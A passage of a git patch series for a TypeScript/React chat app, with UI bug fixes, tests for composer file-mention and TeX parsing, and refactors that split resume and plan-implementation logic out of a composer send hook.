baseBranch: "main", + createdAt: "2026-09-01T00:00:00Z", + updatedAt: "2026-09-01T00:00:00Z", + mergedAt: null, + closedAt: null, + reviewers: [], + labels: [], + checks: [], + comments: [], + commentCount: 0, + commentsTruncated: false, + reviewThreads: [], + commits: [], + mergeCapabilities: { merge: false, squash: false, rebase: false }, + capabilities: { + diff: true, + comment: false, + search: true, + actions: [], + mergeMethods: [], + review: { inlineComment: false, reply: false, resolve: false, verdicts: [] }, + reviewers: { request: false, listCandidates: false }, + edit: { changeRequest: false, comment: false }, + }, + viewerPermissions: { + actions: [], + comment: false, + resolve: false, + verdicts: [], + requestReviewers: false, + }, +}; + +const tab = (refreshToken: number) => ( + {}} + environmentId={EnvironmentId.make("environment")} + reference={detail} + detail={detail} + selectedCommitOid={null} + onSelectedCommitChange={() => {}} + onRefresh={() => {}} + refreshToken={refreshToken} + /> +); + +it("keeps the diff after a refresh that brings back the same page", async () => { + const container = document.createElement("div"); + container.className = "flex h-[700px] w-[900px]"; + await using screen = await render(tab(0), { container }); + await expect.element(screen.getByText("1 file", { exact: true })).toBeVisible(); + + await screen.rerender(tab(1)); + + await expect + .element(screen.getByText("This pull request has no file changes.")) + .not.toBeInTheDocument(); + await expect.element(screen.getByText("1 file", { exact: true })).toBeVisible(); +}); diff --git a/apps/web/src/components/pullRequest/PullRequestCodeTab.tsx b/apps/web/src/components/pullRequest/PullRequestCodeTab.tsx index feaa39ce35e8..ee152af45819 100644 --- a/apps/web/src/components/pullRequest/PullRequestCodeTab.tsx +++ b/apps/web/src/components/pullRequest/PullRequestCodeTab.tsx @@ -431,6 +431,9 @@ function PullRequestCodeTab({ if (appliedRefreshToken.current === refreshToken) return; appliedRefreshToken.current = refreshToken; setSliceState({ key: scopeKey, cursor: null, slices: NO_SLICES }); + // An equal refetch keeps the answer's identity, so the emptied slices refill only if the + // applied page is forgotten too. + setAppliedPage(null); refreshFirstDiffPage(); refreshFilesViewed(); }, [refreshToken, scopeKey, refreshFirstDiffPage, refreshFilesViewed]); From 38d993f3836c02aa17194ed05087be5f2b0f1010 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 14:13:22 -0700 Subject: [PATCH 057/130] fix(web): finished provider updates no longer leave a hidden spinner in the sidebar (#22912) Co-authored-by: 1kuna <47035140+1kuna@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 --- ...SidebarProviderUpdatePill.browser.test.tsx | 79 +++++++++++++++++++ .../sidebar/SidebarProviderUpdatePill.tsx | 35 ++++---- 2 files changed, 99 insertions(+), 15 deletions(-) create mode 100644 apps/web/src/components/sidebar/SidebarProviderUpdatePill.browser.test.tsx diff --git a/apps/web/src/components/sidebar/SidebarProviderUpdatePill.browser.test.tsx b/apps/web/src/components/sidebar/SidebarProviderUpdatePill.browser.test.tsx new file mode 100644 index 000000000000..9d9bf1617988 --- /dev/null +++ b/apps/web/src/components/sidebar/SidebarProviderUpdatePill.browser.test.tsx @@ -0,0 +1,79 @@ +import { ProviderDriverKind, ProviderInstanceId, type ServerProvider } from "@t3tools/contracts"; +import { describe, expect, it, vi } from "vite-plus/test"; + +import { act, fakeTimers, render } from "../../../test/render"; +import { SidebarProviderUpdatePill } from "./SidebarProviderUpdatePill"; + +const state = vi.hoisted(() => ({ providers: [] as ServerProvider[] })); +vi.mock("@effect/atom-react", async (importOriginal) => ({ + ...(await importOriginal()), + useAtomValue: () => state.providers, +})); +vi.mock("../../state/server", () => ({ primaryServerProvidersAtom: {} })); + +const checkedAt = "2026-10-19T03:00:00.000Z"; + +function provider(status: "running" | "succeeded" | "failed"): ServerProvider { + return { + instanceId: ProviderInstanceId.make("claude"), + driver: ProviderDriverKind.make("claudeAgent"), + enabled: true, + installed: true, + version: "2.1.303", + status: "ready", + auth: { status: "authenticated" }, + checkedAt, + models: [], + slashCommands: [], + skills: [], + updateState: { + status, + startedAt: checkedAt, + finishedAt: status === "running" ? null : "2026-10-19T04:00:00.000Z", + message: status === "failed" ? "Update failed." : "Provider updated.", + output: null, + }, + }; +} + +function setup(providers: ServerProvider[]) { + state.providers = providers; +} + +const advance = (ms: number) => act(() => vi.advanceTimersByTime(ms)); + +// Fake timers move past the exit before any real transitionend can fire, like a skipped or +// cancelled transition in the app. +describe("SidebarProviderUpdatePill exit", () => { + it("replaces a finished update's spinner with success, then dismisses it", async () => { + setup([provider("running")]); + await using screen = await render(); + using _timers = fakeTimers(); + expect(screen.container.querySelector('[role="status"]')).not.toBeNull(); + + setup([provider("succeeded")]); + await screen.rerender(); + await advance(180); + expect(screen.container.textContent).toContain("Claude updated: v2.1.303"); + expect(screen.container.querySelector('[role="status"]')).toBeNull(); + + await advance(3_000); + await advance(180); + expect(screen.container.textContent).toBe(""); + }); + + it("removes a dismissed failure", async () => { + setup([provider("failed")]); + await using screen = await render(); + using _timers = fakeTimers(); + expect(screen.container.textContent).toContain("Claude update failed"); + + await act(() => + screen.container + .querySelector('[aria-label="Dismiss provider update notice"]') + ?.click(), + ); + await advance(180); + expect(screen.container.textContent).toBe(""); + }); +}); diff --git a/apps/web/src/components/sidebar/SidebarProviderUpdatePill.tsx b/apps/web/src/components/sidebar/SidebarProviderUpdatePill.tsx index 53ff1d77c376..5a5e7e4f25d3 100644 --- a/apps/web/src/components/sidebar/SidebarProviderUpdatePill.tsx +++ b/apps/web/src/components/sidebar/SidebarProviderUpdatePill.tsx @@ -12,6 +12,9 @@ import { } from "../ProviderUpdateLaunchNotification.logic"; import { Tooltip, TooltipPopup, TooltipTrigger } from "../ui/tooltip"; +// Matches the pill's `duration-180` class. +const PROVIDER_UPDATE_PILL_EXIT_MS = 180; + const PROVIDER_UPDATE_PILL_STYLES = { loading: "bg-sidebar-control-surface text-sidebar-foreground group-has-[button[data-provider-update-main]:hover]/provider-update:bg-sidebar-row-hover", @@ -98,6 +101,23 @@ export function SidebarProviderUpdatePill() { const exitAfterVisible = useEffectEvent((key: string) => startExit(key, null, key)); + const finishExit = useEffectEvent(() => { + if (dismissAfterExitKey !== null) { + setDismissedKeys((previous) => new Set(previous).add(dismissAfterExitKey)); + } + setRenderedView(pendingView); + setPendingView(null); + setExitingKey(null); + setDismissAfterExitKey(null); + }); + + useEffect(() => { + if (exitingKey === null) return; + // A cancelled or skipped CSS transition must not keep a hidden spinner mounted. + const timeoutId = window.setTimeout(finishExit, PROVIDER_UPDATE_PILL_EXIT_MS); + return () => window.clearTimeout(timeoutId); + }, [exitingKey]); + useEffect(() => { if (!dismissAfterVisibleMs || !viewKey) { return; @@ -125,21 +145,6 @@ export function SidebarProviderUpdatePill() { ? "pointer-events-none translate-y-1.5 opacity-0" : "translate-y-0 opacity-100" }`} - onTransitionEnd={(event) => { - if (event.target !== event.currentTarget) { - return; - } - if (!displayedView || exitingKey !== displayedView.key) { - return; - } - if (dismissAfterExitKey === displayedView.key) { - setDismissedKeys((previous) => new Set(previous).add(displayedView.key)); - } - setRenderedView(pendingView); - setPendingView(null); - setExitingKey(null); - setDismissAfterExitKey(null); - }} > {showDismissProgress ? (
Date: Wed, 21 Oct 2026 14:13:41 -0700 Subject: [PATCH 058/130] fix(composer): mentions of files like `posts.$postId.tsx` or `[id].tsx` stay chips (#22922) Co-authored-by: Victor Vogel Co-authored-by: Claude Opus 5.5 --- apps/web/src/composer-rich-text-doc.test.ts | 23 ++++++++++ apps/web/src/composer-rich-text-doc.ts | 4 +- .../shared/src/composerInlineTokens.test.ts | 45 ++++++++++++++++++- packages/shared/src/composerInlineTokens.ts | 29 +++++++++++- 4 files changed, 97 insertions(+), 4 deletions(-) diff --git a/apps/web/src/composer-rich-text-doc.test.ts b/apps/web/src/composer-rich-text-doc.test.ts index 8a9a9cf283a9..3ad569e4b8a4 100644 --- a/apps/web/src/composer-rich-text-doc.test.ts +++ b/apps/web/src/composer-rich-text-doc.test.ts @@ -5,6 +5,7 @@ import { Node as ProseMirrorNode } from "@tiptap/pm/model"; import { EditorState, TextSelection } from "@tiptap/pm/state"; import { splitBlockKeepMarks } from "@tiptap/pm/commands"; import { describe, expect, it, onTestFinished } from "vite-plus/test"; +import { serializeComposerFileLink } from "@t3tools/shared/composerTrigger"; import { collapseExpandedComposerCursor, @@ -91,6 +92,28 @@ function roundTrip(value: string) { } describe("editable math source", () => { + it.each(["app/routes/posts.$postId.tsx", "pages/posts/[id].tsx"])( + "keeps a mentioned file whose name looks like TeX as a chip: %s", + (path) => { + const source = `fix ${serializeComposerFileLink(path)} please`; + const map = roundTrip(source); + expect(map.value).toBe(source); + expect( + map.runs.filter((run) => run.kind === "token" && run.nodeName === "composer-mention"), + ).toHaveLength(1); + }, + ); + + it.each([ + "before $x + @README.md$ after", + "before \\(x + @README.md\\) after", + "\\[x + @README.md\\] after", + ])("keeps a mention that ends a formula inside the formula: %s", (source) => { + const map = roundTrip(source); + expect(map.value).toBe(source); + expect(map.runs.some((run) => run.kind === "token")).toBe(false); + }); + it.each([ "Area $x_i^2$ after", "before \\(\\frac{1}{2}\\) after", diff --git a/apps/web/src/composer-rich-text-doc.ts b/apps/web/src/composer-rich-text-doc.ts index 35d8b50c202b..db893eb2974a 100644 --- a/apps/web/src/composer-rich-text-doc.ts +++ b/apps/web/src/composer-rich-text-doc.ts @@ -35,7 +35,7 @@ import { splitPromptIntoComposerSegments } from "~/composer-editor-mentions"; import { nextOrderedMarkerText } from "~/composer-list-continuation"; import { parseInlineMarkdown, RICH_TEXT_DELIMITERS, type RichTextMark } from "~/composer-rich-text"; import { collectInlineContextIds } from "~/lib/composerContextReferences"; -import { markdownMathRanges } from "@t3tools/shared/markdownMath"; +import { composerMathRanges } from "@t3tools/shared/composerInlineTokens"; export type SkillMeta = { label: string; description: string | null }; @@ -576,7 +576,7 @@ export function buildTiptapContent( const atomSources: string[] = []; const literal = value.slice(0, options?.literalLength ?? 0); const remainder = value.slice(literal.length); - const formulas = markdownMathRanges(remainder); + const formulas = composerMathRanges(remainder); let offset = 0; const chunks: Array<{ text: string } | { source: string }> = []; for (const formula of formulas) { diff --git a/packages/shared/src/composerInlineTokens.test.ts b/packages/shared/src/composerInlineTokens.test.ts index f1f842a8ce24..0f53299089bf 100644 --- a/packages/shared/src/composerInlineTokens.test.ts +++ b/packages/shared/src/composerInlineTokens.test.ts @@ -1,6 +1,7 @@ import { describe, expect, it } from "vite-plus/test"; -import { collectComposerInlineTokens } from "./composerInlineTokens.ts"; +import { collectComposerInlineTokens, composerMathRanges } from "./composerInlineTokens.ts"; +import { serializeComposerFileLink } from "./composerTrigger.ts"; describe("collectComposerInlineTokens", () => { it("collects file links, mentions, and skills with source ranges", () => { @@ -176,4 +177,46 @@ describe("collectComposerInlineTokens", () => { "$real-skill", ]); }); + + it.each([ + "app/routes/posts.$postId.tsx", + "src/routes/_chat.$environmentId.$threadId.tsx", + "pages/posts/[id].tsx", + "app/blog/[...slug].tsx", + ])("keeps a file link whose name looks like TeX as one mention: %s", (path) => { + const link = serializeComposerFileLink(path); + expect(collectComposerInlineTokens(`fix ${link} please`)).toMatchObject([ + { type: "mention", value: path, source: link }, + ]); + }); + + it.each(["app/routes/posts.$postId.tsx", "pages/posts/[id].tsx"])( + "preserves a confirmed TeX-like pill when its trailing delimiter is removed: %s", + (path) => { + const link = serializeComposerFileLink(path); + const confirmed = collectComposerInlineTokens(`fix ${link} `); + + expect(confirmed).toMatchObject([{ type: "mention", value: path, source: link }]); + expect( + collectComposerInlineTokens(`fix ${link}`, { preserveTrailingFrom: confirmed }), + ).toEqual(confirmed); + expect(collectComposerInlineTokens(`fix ${link}`)).toEqual([]); + }, + ); + + it.each([ + "before $x + @README.md$ after", + "before \\(x + @README.md\\) after", + "\\[x + @README.md\\] after", + "\\[\\text{use @README.md}\\] then go ", + ])("keeps a mention that ends a formula inside the formula: %s", (source) => { + expect(collectComposerInlineTokens(source)).toEqual([]); + }); + + it("still finds a formula after a mention that starts the line", () => { + const link = serializeComposerFileLink("app/routes/posts.$postId.tsx"); + expect(composerMathRanges(`${link} sets $x_i$`).map((formula) => formula.source)).toEqual([ + "$x_i$", + ]); + }); }); diff --git a/packages/shared/src/composerInlineTokens.ts b/packages/shared/src/composerInlineTokens.ts index 60624625bc71..f9e10d3ab242 100644 --- a/packages/shared/src/composerInlineTokens.ts +++ b/packages/shared/src/composerInlineTokens.ts @@ -99,6 +99,32 @@ function collectMentionTokens(text: string): ComposerInlineToken[] { return matches; } +/** + * Formulas in composer text, ignoring the `$` and `\[` that file names such as + * `posts.$postId.tsx` or `[id].tsx` put into a file link. File links are masked with letters, + * not spaces, so a link at the start of a line cannot become an indented code block. + * Bare `@path` mentions are not masked: one such as `@README.md$` can run into a formula's + * closing delimiter, and a mention written inside a real formula stays covered by it. + */ +export function composerMathRanges( + text: string, + mentions: ReadonlyArray = collectMentionTokens(text), +) { + let masked = text; + for (const mention of mentions) { + if (mention.type !== "mention" || !mention.source.startsWith("[")) continue; + masked = + masked.slice(0, mention.start) + + "x".repeat(mention.end - mention.start) + + masked.slice(mention.end); + } + return markdownMathRanges(masked).map(({ start, end }) => ({ + start, + end, + source: text.slice(start, end), + })); +} + export function collectComposerInlineTokens( text: string, options: CollectComposerInlineTokensOptions = {}, @@ -138,7 +164,8 @@ export function collectComposerInlineTokens( // TeX can contain literal skill and file tokens, especially inside \text{}. // They remain formula source rather than becoming composer context chips. - const math = matches.length > 0 ? markdownMathRanges(text) : []; + // Confirmed trailing file links are masked too, so a kept chip is not read as TeX. + const math = matches.length > 0 ? composerMathRanges(text, matches) : []; return matches .filter( (match) => !math.some((formula) => match.start < formula.end && match.end > formula.start), From 5b715cc13cc5bcb3f82951be42888452c0f18557 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 14:25:08 -0700 Subject: [PATCH 059/130] refactor(web): resuming an interrupted run lives in its own hook (#23087) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/ChatView.tsx | 28 ++- .../src/components/chat/useComposerResume.ts | 167 ++++++++++++++++++ .../src/components/chat/useComposerSend.ts | 97 +--------- 3 files changed, 192 insertions(+), 100 deletions(-) create mode 100644 apps/web/src/components/chat/useComposerResume.ts diff --git a/apps/web/src/components/ChatView.tsx b/apps/web/src/components/ChatView.tsx index 64a4fc471380..04457062f72e 100644 --- a/apps/web/src/components/ChatView.tsx +++ b/apps/web/src/components/ChatView.tsx @@ -15,6 +15,7 @@ import { useThreadLifecycle } from "./chat/useThreadLifecycle"; import { useRightPanelActions } from "./chat/useRightPanelActions"; import { type TerminalLaunchContext, useChatTerminalActions } from "./chat/useChatTerminalActions"; import { useComposerSend } from "./chat/useComposerSend"; +import { useComposerResume } from "./chat/useComposerResume"; import { ThreadFind, ThreadFindCanvas, type ThreadFindControls } from "./chat/ThreadFindProvider"; import { THREAD_FIND_BAR_RESERVED_HEIGHT } from "./chat/ThreadFindBar"; import { usageLimitRecoveryBannerItem } from "./chat/UsageLimitRecoveryBanner"; @@ -2923,7 +2924,28 @@ export default function ChatView(props: ChatViewProps) { setPendingServerThreadStartFromOriginByThreadId, scheduleComposerFocus, }); - const { onSend, onResume, onImplementPlanInNewThread, isResuming } = useComposerSend({ + const { onResume, isResuming } = useComposerResume({ + environmentId, + routeThreadKey, + currentRouteThreadKeyRef, + activeThread, + resumableRunId, + hasHeldQueuedRuns, + isSendBusy, + isConnecting, + isRevertingCheckpoint, + threadDetailLoading, + activeEnvironmentUnavailable, + runtimeMode, + interactionMode, + localCheckoutBranchMismatch, + composerRef, + persistThreadSettingsForNextTurn, + clearUsageLimitsFor, + scrollToEnd, + setThreadError, + }); + const { onSend, onImplementPlanInNewThread } = useComposerSend({ environmentId, routeThreadKey, currentRouteThreadKeyRef, @@ -2939,12 +2961,9 @@ export default function ChatView(props: ChatViewProps) { isServerThread, isLocalDraftThread, isGitRepo, - hasHeldQueuedRuns, - resumableRunId, phase, runtimeMode, defaultRuntimeMode, - interactionMode, sendEnvMode, startFromOrigin, localCheckoutBranchMismatch, @@ -3000,7 +3019,6 @@ export default function ChatView(props: ChatViewProps) { setMultipleModelSelections, setThreadError, setKeepFullHistory, - scrollToEnd, anchorNewTurn, acknowledgeActiveThreadWoke, handleInteractionModeChange, diff --git a/apps/web/src/components/chat/useComposerResume.ts b/apps/web/src/components/chat/useComposerResume.ts new file mode 100644 index 000000000000..ff7f6a1e279f --- /dev/null +++ b/apps/web/src/components/chat/useComposerResume.ts @@ -0,0 +1,167 @@ +import { + type EnvironmentId, + type ProviderInteractionMode, + type RunId, + type RuntimeMode, +} from "@t3tools/contracts"; +import type { EnvironmentThreadShell } from "@t3tools/client-runtime/state/shell"; +import { + isAtomCommandInterrupted, + squashAtomCommandFailure, + type AtomCommandResult, +} from "@t3tools/client-runtime/state/runtime"; +import { useState } from "react"; +import { newMessageId } from "~/lib/utils"; +import type { ComposerHandleRef } from "../../composerHandleContext"; +import { threadEnvironment } from "../../state/threads"; +import { useOrchestrationCommand } from "../../state/use-orchestration-command"; +import type { makeThreadErrorSetter } from "../ChatView.logic"; +import { draftSendState } from "./chatViewSend"; +import type { useTimelineFollow } from "./useTimelineFollow"; +import type { useUsageLimitsPanel } from "./useUsageLimitsPanel"; + +interface ComposerResumeInput { + readonly environmentId: EnvironmentId; + readonly routeThreadKey: string; + readonly currentRouteThreadKeyRef: { readonly current: string | null }; + readonly activeThread: EnvironmentThreadShell | undefined; + readonly resumableRunId: RunId | null; + readonly hasHeldQueuedRuns: boolean; + readonly isSendBusy: boolean; + readonly isConnecting: boolean; + readonly isRevertingCheckpoint: boolean; + readonly threadDetailLoading: boolean; + readonly activeEnvironmentUnavailable: boolean; + readonly runtimeMode: RuntimeMode; + readonly interactionMode: ProviderInteractionMode; + readonly localCheckoutBranchMismatch: { readonly currentBranch: string } | null; + readonly composerRef: ComposerHandleRef; + readonly persistThreadSettingsForNextTurn: (input: { + threadId: EnvironmentThreadShell["id"]; + createdAt: string; + branch?: string; + runtimeMode: RuntimeMode; + interactionMode: ProviderInteractionMode; + }) => Promise>; + readonly clearUsageLimitsFor: ReturnType["clearFor"]; + readonly scrollToEnd: ReturnType["scrollToEnd"]; + readonly setThreadError: ReturnType; +} + +/** + * Resumes an interrupted run ("Continue where you left off.") and/or releases the turns held + * in its queue. Shares the per-route send lock with the composer's send paths. + */ +export function useComposerResume(input: ComposerResumeInput) { + const { + environmentId, + routeThreadKey, + currentRouteThreadKeyRef, + activeThread, + resumableRunId, + hasHeldQueuedRuns, + isSendBusy, + isConnecting, + isRevertingCheckpoint, + threadDetailLoading, + activeEnvironmentUnavailable, + runtimeMode, + interactionMode, + localCheckoutBranchMismatch, + composerRef, + persistThreadSettingsForNextTurn, + clearUsageLimitsFor, + scrollToEnd, + setThreadError, + } = input; + const startThreadTurn = useOrchestrationCommand(threadEnvironment.startTurn, { + reportFailure: false, + }); + const resumeThreadQueue = useOrchestrationCommand(threadEnvironment.resumeThreadQueue, { + reportFailure: false, + }); + const [resumingThreadKeys, setResumingThreadKeys] = useState>( + () => new Set(), + ); + const isResuming = resumingThreadKeys.has(routeThreadKey); + const { sendInFlight: sendInFlightRef } = draftSendState(routeThreadKey); + + const onResume = async () => { + if ( + !activeThread || + (resumableRunId === null && !hasHeldQueuedRuns) || + isSendBusy || + isResuming || + isConnecting || + isRevertingCheckpoint || + threadDetailLoading || + activeEnvironmentUnavailable || + sendInFlightRef.current + ) { + return; + } + const threadId = activeThread.id; + sendInFlightRef.current = true; + setResumingThreadKeys((current) => new Set(current).add(routeThreadKey)); + setThreadError(threadId, null); + // Commands settle into a result, so this always runs. + const resume = async () => { + if (resumableRunId === null) { + return resumeThreadQueue({ environmentId, input: { threadId } }); + } + const createdAt = new Date().toISOString(); + const settingsResult = await persistThreadSettingsForNextTurn({ + threadId, + createdAt, + ...(localCheckoutBranchMismatch + ? { branch: localCheckoutBranchMismatch.currentBranch } + : {}), + runtimeMode, + interactionMode, + }); + if (settingsResult._tag === "Failure") return settingsResult; + const modelSelection = composerRef.current?.getSendContext().selectedModelSelection; + const turnResult = await startThreadTurn({ + environmentId, + input: { + threadId, + manualContinuationOfRunId: resumableRunId, + ...(modelSelection ? { modelSelection } : {}), + message: { + messageId: newMessageId(), + role: "user", + text: "Continue where you left off.", + attachments: [], + }, + runtimeMode, + interactionMode, + dispatchMode: "start", + }, + }); + if (turnResult._tag === "Failure" || !hasHeldQueuedRuns) return turnResult; + clearUsageLimitsFor(routeThreadKey); + return resumeThreadQueue({ environmentId, input: { threadId } }); + }; + const result = await resume(); + if (result._tag === "Failure") { + if (!isAtomCommandInterrupted(result)) { + const error = squashAtomCommandFailure(result); + setThreadError( + threadId, + error instanceof Error ? error.message : "Could not resume thread.", + ); + } + } else { + clearUsageLimitsFor(routeThreadKey); + if (currentRouteThreadKeyRef.current === routeThreadKey) scrollToEnd(); + } + sendInFlightRef.current = false; + setResumingThreadKeys((current) => { + const next = new Set(current); + next.delete(routeThreadKey); + return next; + }); + }; + + return { onResume, isResuming }; +} diff --git a/apps/web/src/components/chat/useComposerSend.ts b/apps/web/src/components/chat/useComposerSend.ts index d55c5cedf4e6..be9cbe24b877 100644 --- a/apps/web/src/components/chat/useComposerSend.ts +++ b/apps/web/src/components/chat/useComposerSend.ts @@ -25,7 +25,6 @@ import { type ModelSelection, type PreviewAnnotationPayload, type ThreadId, - type RunId, ProviderInteractionMode, RuntimeMode, } from "@t3tools/contracts"; @@ -44,7 +43,7 @@ import { } from "@t3tools/client-runtime/environment"; import { createModelSelection } from "@t3tools/shared/model"; import { truncate } from "@t3tools/shared/String"; -import { type SetStateAction, useLayoutEffect, useRef, useState } from "react"; +import { type SetStateAction, useLayoutEffect, useRef } from "react"; import { flushSync } from "react-dom"; import { useNavigate } from "@tanstack/react-router"; import { @@ -162,12 +161,9 @@ interface ComposerSendInput { readonly isServerThread: boolean; readonly isLocalDraftThread: boolean; readonly isGitRepo: boolean; - readonly hasHeldQueuedRuns: boolean; - readonly resumableRunId: RunId | null; readonly phase: SessionPhase; readonly runtimeMode: RuntimeMode; readonly defaultRuntimeMode: RuntimeMode; - readonly interactionMode: ProviderInteractionMode; readonly sendEnvMode: DraftThreadEnvMode; readonly startFromOrigin: boolean; readonly localCheckoutBranchMismatch: { @@ -230,7 +226,6 @@ interface ComposerSendInput { ) => void; readonly setThreadError: ReturnType; readonly setKeepFullHistory: (threadKey: string, keep: boolean) => void; - readonly scrollToEnd: TimelineFollow["scrollToEnd"]; readonly anchorNewTurn: TimelineFollow["anchorNewTurn"]; readonly acknowledgeActiveThreadWoke: () => void; readonly handleInteractionModeChange: (mode: ProviderInteractionMode) => void; @@ -267,12 +262,9 @@ export function useComposerSend(input: ComposerSendInput) { isServerThread, isLocalDraftThread, isGitRepo, - hasHeldQueuedRuns, - resumableRunId, phase, runtimeMode, defaultRuntimeMode, - interactionMode, sendEnvMode, startFromOrigin, localCheckoutBranchMismatch, @@ -328,7 +320,6 @@ export function useComposerSend(input: ComposerSendInput) { setMultipleModelSelections, setThreadError, setKeepFullHistory, - scrollToEnd, anchorNewTurn, acknowledgeActiveThreadWoke, handleInteractionModeChange, @@ -342,9 +333,6 @@ export function useComposerSend(input: ComposerSendInput) { const startThreadTurn = useOrchestrationCommand(threadEnvironment.startTurn, { reportFailure: false, }); - const resumeThreadQueue = useOrchestrationCommand(threadEnvironment.resumeThreadQueue, { - reportFailure: false, - }); const uploadThreadFeedback = useOrchestrationCommand(threadEnvironment.uploadFeedback, { reportFailure: false, }); @@ -365,10 +353,6 @@ export function useComposerSend(input: ComposerSendInput) { const readMultipleModelSelections = () => appAtomRegistry.get(fanoutSelectionsAtom); const { sendInFlight: sendInFlightRef, uncertainSubmissions: uncertainMultipleSubmissionsRef } = draftSendState(routeThreadKey); - const [resumingThreadKeys, setResumingThreadKeys] = useState>( - () => new Set(), - ); - const isResuming = resumingThreadKeys.has(routeThreadKey); const composerSendGenerationRef = useRef(0); const environmentUnavailableSendToastSlotRef = useRef(0); // A send awaits uploads before it declines, so it reads the approvals pending by then. @@ -379,83 +363,6 @@ export function useComposerSend(input: ComposerSendInput) { respondingRequestIdsRef.current = respondingRequestIds; }, [pendingApprovals, respondingRequestIds]); - const onResume = async () => { - if ( - !activeThread || - (resumableRunId === null && !hasHeldQueuedRuns) || - isSendBusy || - isResuming || - isConnecting || - isRevertingCheckpoint || - threadDetailLoading || - activeEnvironmentUnavailable || - sendInFlightRef.current - ) { - return; - } - const threadId = activeThread.id; - sendInFlightRef.current = true; - setResumingThreadKeys((current) => new Set(current).add(routeThreadKey)); - setThreadError(threadId, null); - // Commands settle into a result, so this always runs. - const resume = async () => { - if (resumableRunId === null) { - return resumeThreadQueue({ environmentId, input: { threadId } }); - } - const createdAt = new Date().toISOString(); - const settingsResult = await persistThreadSettingsForNextTurn({ - threadId, - createdAt, - ...(localCheckoutBranchMismatch - ? { branch: localCheckoutBranchMismatch.currentBranch } - : {}), - runtimeMode, - interactionMode, - }); - if (settingsResult._tag === "Failure") return settingsResult; - const modelSelection = composerRef.current?.getSendContext().selectedModelSelection; - const turnResult = await startThreadTurn({ - environmentId, - input: { - threadId, - manualContinuationOfRunId: resumableRunId, - ...(modelSelection ? { modelSelection } : {}), - message: { - messageId: newMessageId(), - role: "user", - text: "Continue where you left off.", - attachments: [], - }, - runtimeMode, - interactionMode, - dispatchMode: "start", - }, - }); - if (turnResult._tag === "Failure" || !hasHeldQueuedRuns) return turnResult; - clearUsageLimitsFor(routeThreadKey); - return resumeThreadQueue({ environmentId, input: { threadId } }); - }; - const result = await resume(); - if (result._tag === "Failure") { - if (!isAtomCommandInterrupted(result)) { - const error = squashAtomCommandFailure(result); - setThreadError( - threadId, - error instanceof Error ? error.message : "Could not resume thread.", - ); - } - } else { - clearUsageLimitsFor(routeThreadKey); - if (currentRouteThreadKeyRef.current === routeThreadKey) scrollToEnd(); - } - sendInFlightRef.current = false; - setResumingThreadKeys((current) => { - const next = new Set(current); - next.delete(routeThreadKey); - return next; - }); - }; - const onSend = async ( e?: { preventDefault: () => void }, dispatchMode: ComposerDispatchMode = "auto", @@ -1912,5 +1819,5 @@ export function useComposerSend(input: ComposerSendInput) { finish(); }; - return { onSend, onResume, onImplementPlanInNewThread, isResuming }; + return { onSend, onImplementPlanInNewThread }; } From 36d1e2fec5881a19811c35c8a804c46c4ca2cea7 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 14:25:09 -0700 Subject: [PATCH 060/130] refactor(web): proposed-plan follow-ups and implement-in-new-thread live in their own hooks (#23091) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/ChatView.tsx | 20 +- .../src/components/chat/useComposerSend.ts | 316 +------------- .../components/chat/useProposedPlanSend.ts | 402 ++++++++++++++++++ 3 files changed, 443 insertions(+), 295 deletions(-) create mode 100644 apps/web/src/components/chat/useProposedPlanSend.ts diff --git a/apps/web/src/components/ChatView.tsx b/apps/web/src/components/ChatView.tsx index 04457062f72e..0546e0098fb3 100644 --- a/apps/web/src/components/ChatView.tsx +++ b/apps/web/src/components/ChatView.tsx @@ -16,6 +16,7 @@ import { useRightPanelActions } from "./chat/useRightPanelActions"; import { type TerminalLaunchContext, useChatTerminalActions } from "./chat/useChatTerminalActions"; import { useComposerSend } from "./chat/useComposerSend"; import { useComposerResume } from "./chat/useComposerResume"; +import { useImplementPlanInNewThread } from "./chat/useProposedPlanSend"; import { ThreadFind, ThreadFindCanvas, type ThreadFindControls } from "./chat/ThreadFindProvider"; import { THREAD_FIND_BAR_RESERVED_HEIGHT } from "./chat/ThreadFindBar"; import { usageLimitRecoveryBannerItem } from "./chat/UsageLimitRecoveryBanner"; @@ -2945,7 +2946,23 @@ export default function ChatView(props: ChatViewProps) { scrollToEnd, setThreadError, }); - const { onSend, onImplementPlanInNewThread } = useComposerSend({ + const onImplementPlanInNewThread = useImplementPlanInNewThread({ + environmentId, + routeThreadKey, + activeThread, + activeThreadBranch, + activeProposedPlan, + isServerThread, + isSendBusy, + isConnecting, + composerRef, + beginLocalDispatch, + resetLocalDispatch, + activeProject, + activeEnvironmentUnavailable, + defaultRuntimeMode, + }); + const { onSend } = useComposerSend({ environmentId, routeThreadKey, currentRouteThreadKeyRef, @@ -2963,7 +2980,6 @@ export default function ChatView(props: ChatViewProps) { isGitRepo, phase, runtimeMode, - defaultRuntimeMode, sendEnvMode, startFromOrigin, localCheckoutBranchMismatch, diff --git a/apps/web/src/components/chat/useComposerSend.ts b/apps/web/src/components/chat/useComposerSend.ts index be9cbe24b877..df465e048111 100644 --- a/apps/web/src/components/chat/useComposerSend.ts +++ b/apps/web/src/components/chat/useComposerSend.ts @@ -7,7 +7,6 @@ import { deriveComposerSendState, readFileAsDataUrl, revokeUserMessagePreviewUrls, - waitForStartedServerThread, boundAttachmentIds, formatOutgoingPrompt, optimisticMessageAttachments, @@ -42,7 +41,6 @@ import { scopeThreadRef, } from "@t3tools/client-runtime/environment"; import { createModelSelection } from "@t3tools/shared/model"; -import { truncate } from "@t3tools/shared/String"; import { type SetStateAction, useLayoutEffect, useRef } from "react"; import { flushSync } from "react-dom"; import { useNavigate } from "@tanstack/react-router"; @@ -57,11 +55,7 @@ import { collapseExpandedComposerCursor, parseStandaloneComposerSlashCommand, } from "../../composer-logic"; -import { - buildPlanImplementationThreadTitle, - buildPlanImplementationPrompt, - resolvePlanFollowUpSubmission, -} from "../../proposedPlan"; +import { resolvePlanFollowUpSubmission } from "../../proposedPlan"; import { type ChatMessage } from "../../types"; import { stackedThreadToast, toastManager } from "../ui/toast"; import { newMessageId, newThreadId } from "~/lib/utils"; @@ -89,6 +83,7 @@ import { import { environmentServerConfigsAtom } from "../../state/server"; import { threadEnvironment } from "../../state/threads"; import { runMobileComposerTransition } from "./draftHeroTransition"; +import { 